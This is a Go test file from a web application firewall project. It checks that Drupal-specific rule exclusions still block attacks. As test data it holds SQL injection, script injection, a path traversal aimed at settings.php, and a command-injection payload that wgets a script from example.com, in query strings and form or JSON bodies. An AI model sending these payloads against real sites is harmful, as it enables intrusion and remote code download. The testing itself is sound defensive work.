Files
smallwebwaf/internal/coreruleset/drupal_test.go
T
sneak c31a26ca62
check / check (push) Failing after 4m55s
Core Rule Set: MediaWiki's ordinary requests pass by default (closes #237)
Adds mediawiki.conf, the eleventh change: on MediaWiki's paths, the fields
that carry a search, a title, a name, a file name or an address skip the
four rules that read them as commands or system files, and the wikitext
fields skip the rules that refused saving a page. /index.php counts as
MediaWiki's only with a page title in its query or after its path, since
WordPress serves it too. The requests recorded from MediaWiki 1.46.2, with
and without short URLs, pass at the defaults and while bodies are read. The
app tests share the check of recorded requests and the list of hard values.

Model: opus-5-5
2026-11-09 21:17:57 +00:00

279 lines
7.7 KiB
Go

package coreruleset_test
import (
"net/http"
"net/url"
"testing"
)
// drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
const drupalThreshold = 5
// drupalAddArticle is Drupal's form for a new article.
const drupalAddArticle = "/node/add/article"
// drupalSignIn is Drupal's sign-in page.
const drupalSignIn = "/user/login"
func TestOrdinaryDrupalRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "drupal-requests.txt")
}
// drupalAttacks are an SQL injection, a path traversal and a script
// injection, as a query value.
//
//nolint:gochecknoglobals // a constant cannot be a list
var drupalAttacks = []string{
sqlInjection,
"..%2F..%2Fsites%2Fdefault%2Fsettings.php",
scriptInjection,
}
func TestDrupalAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, attack := range drupalAttacks {
for _, target := range []string{
"/?id=",
"/admin/content?id=",
"/admin/content?title=",
"/admin/content/media?name=",
"/admin/people?user=",
"/admin/content/files?filename=",
"/admin/content/files?filemime=",
"/admin/content/block?info=",
"/admin/content/comment?subject=",
"/admin/content/comment?author_name=",
"/admin/config/search/path?search=",
"/admin/content?destination=",
"/admin/foo?q=",
"/node/1/edit?destination=",
"/user/login?destination=",
"/search/node?keys=",
"/search?keys=",
"/entity_reference_autocomplete/user/default/KEY?q=",
"/jsonapi/node/article?filter%5Btitle%5D=",
"/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=",
} {
if got := inspect(t, crs, get(target+attack)); got.Score < drupalThreshold {
t.Errorf("%s%s let through: %+v", target, attack, got)
}
}
}
}
func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
const reply = "/comment/reply/node/1/comment"
for _, attack := range drupalAttacks {
for _, sent := range []struct{ target, body string }{
{drupalAddArticle, "title%5B0%5D%5Bvalue%5D=" + attack},
{drupalAddArticle, "body%5B0%5D%5Bvalue%5D=" + attack},
{"/node/1/edit", "body%5B0%5D%5Bsummary%5D=" + attack},
{reply, "comment_body%5B0%5D%5Bvalue%5D=" + attack},
{reply, "subject%5B0%5D%5Bvalue%5D=" + attack},
{drupalSignIn, "pass=" + attack},
} {
r := request{http.MethodPost, sent.target, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.body)
if got.Score < drupalThreshold {
t.Errorf("POST %s %q let through: %+v", sent.target, sent.body, got)
}
}
}
for _, attack := range []string{
`1' OR '1'='1`,
`<script>alert(1)</script>`,
} {
for _, field := range []string{
`"title":"` + attack + `"`,
`"body":{"value":"` + attack + `"}`,
} {
r := request{
http.MethodPost, "/jsonapi/node/article",
[]string{"Content-Type: application/vnd.api+json"},
}
body := `{"data":{"attributes":{` + field + `}}}`
got, _ := inspectBody(t, crs, r, body)
if got.Score < drupalThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
}
}
}
}
// drupalCommandAttack is a shell command that only 932230 and 932235 refuse
// on the fields that skip the other command rules, as a query value.
const drupalCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
func TestDrupalCommandAttackIsRefusedOutsideDestination(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, target := range []string{
"/admin/content?title=",
"/admin/content/media?name=",
"/admin/people?user=",
"/admin/content/files?filename=",
"/admin/content/files?filemime=",
"/admin/content/block?info=",
"/admin/content/comment?subject=",
"/admin/content/comment?author_name=",
"/admin/config/search/path?search=",
"/admin/views/ajax/autocomplete/tag?q=",
"/search/node?keys=",
"/entity_reference_autocomplete/user/default/KEY?q=",
"/jsonapi/node/article?filter%5Btitle%5D=",
} {
got := inspect(t, crs, get(target+drupalCommandAttack))
if got.Score < drupalThreshold {
t.Errorf("%s let through: %+v", target, got)
}
}
crs = readingBodies(t)
for _, field := range []string{
"title%5B0%5D%5Bvalue%5D=",
"body%5B0%5D%5Bsummary%5D=",
"revision_log%5B0%5D%5Bvalue%5D=",
"path%5B0%5D%5Balias%5D=",
"field_tags%5Btarget_id%5D=",
"field_image%5B0%5D%5Balt%5D=",
} {
r := request{http.MethodPost, drupalAddArticle, []string{formData}}
got, _ := inspectBody(t, crs, r, field+drupalCommandAttack)
if got.Score < drupalThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, field, got)
}
}
for _, field := range []string{
`"title":"; wget http://example.com/x.sh"`,
`"subject":"; wget http://example.com/x.sh"`,
`"body":{"summary":"; wget http://example.com/x.sh"}`,
} {
r := request{
http.MethodPost, "/jsonapi/node/article",
[]string{"Content-Type: application/vnd.api+json"},
}
body := `{"data":{"attributes":{` + field + `}}}`
got, _ := inspectBody(t, crs, r, body)
if got.Score < drupalThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
}
}
}
func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
const subject = "subject%5B0%5D%5Bvalue%5D="
for _, value := range hardValues {
for _, sent := range []struct{ target, field string }{
{"/comment/reply/node/1/comment", subject},
{"/comment/reply/node/1/comment/5", subject},
{"/comment/reply/node/1/field_comments", subject},
{"/comment/reply/media/1/comment", subject},
{"/media/add/image", "revision_log_message%5B0%5D%5Bvalue%5D="},
{"/media/1/edit", "revision_log_message%5B0%5D%5Bvalue%5D="},
{drupalSignIn, "pass="},
} {
r := request{http.MethodPost, sent.target, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field+value)
if got.Score >= drupalThreshold {
t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got)
}
}
}
for _, value := range hardValues {
word, err := url.QueryUnescape(value)
if err != nil {
t.Fatal(err)
}
r := request{
http.MethodPost, "/user/login?_format=json",
[]string{jsonBody},
}
body := `{"name":"example","pass":"` + word + `"}`
got, _ := inspectBody(t, crs, r, body)
if got.Score >= drupalThreshold {
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
}
}
}
func TestDrupalExclusionsAreNarrow(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, passes := range []string{
"/admin/content?title=python3",
"/search/node?keys=python3",
"/entity_reference_autocomplete/user/default/KEY?q=python3",
"/jsonapi/node/article?filter%5Btitle%5D=python3",
"/node/1/edit?destination=python3",
} {
if got := inspect(t, crs, get(passes)); got.Score >= drupalThreshold {
t.Errorf("%s refused: %+v", passes, got)
}
}
for _, refused := range []string{
"/?title=python3",
"/admin/content?other=python3",
"/?keys=python3",
"/node/1?keys=python3",
"/?q=python3",
"/?filter%5Btitle%5D=python3",
"/python3-notes?destination=python3",
} {
if got := inspect(t, crs, get(refused)); got.Score < drupalThreshold {
t.Errorf("%s let through: %+v", refused, got)
}
}
}
func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// The same field name in the query keeps the rules, in the query and
// in the body.
for _, sent := range []struct{ path, field string }{
{drupalAddArticle, "title%5B0%5D%5Bvalue%5D=python3"},
{drupalAddArticle, "body%5B0%5D%5Bvalue%5D=python3"},
{drupalSignIn, "pass=python3"},
} {
r := request{http.MethodPost, sent.path + "?" + sent.field, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field)
if got.Score < drupalThreshold {
t.Errorf("POST %s let through: %+v", r.target, got)
}
}
}